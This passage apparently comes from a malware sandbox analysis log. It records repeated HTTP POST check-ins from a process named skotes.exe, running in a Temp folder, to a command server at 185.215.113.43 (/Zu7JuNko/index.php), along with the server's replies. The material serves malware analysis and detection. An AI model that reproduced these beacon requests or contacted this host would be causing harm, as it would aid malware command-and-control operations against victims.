Nov 19, 2024 01:06:56.612699986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	64314	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:58.238317013 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:06:59.153481007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	64315	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:06.025803089 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:07:06.952682972 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	64316	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:10.775322914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:07:11.683023930 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	64320	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:13.194562912 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:07:14.106848001 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	64321	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:15.726866007 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:07:16.627218962 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	64322	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:18.139164925 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:07:19.063260078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	64323	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:20.692347050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:07:21.624583960 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	64324	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:23.143877983 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:07:24.043423891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	64325	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:25.678736925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:07:26.594398975 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	64326	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:28.108119011 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:07:29.032845974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	64327	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:30.660552979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:07:31.557320118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	64328	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:33.245069027 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:07:34.162530899 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	64329	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:35.786590099 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:07:36.696101904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	64330	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:38.220319033 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:07:39.141657114 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	64331	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:40.772572041 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:07:41.705430984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	64332	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:43.225246906 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:07:44.156861067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	64333	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:45.779151917 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:07:46.684470892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	64334	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:48.211225986 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:07:49.141280890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	64335	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:50.763258934 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:07:51.694952965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	64336	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:53.215941906 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:07:54.150574923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	64337	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:55.769186974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:07:56.698699951 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	64338	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:07:58.224502087 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:07:59.161689043 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:07:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	64339	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:08:00.797506094 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:08:01.699224949 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	64340	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:08:03.229099035 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:08:04.148696899 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	64341	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
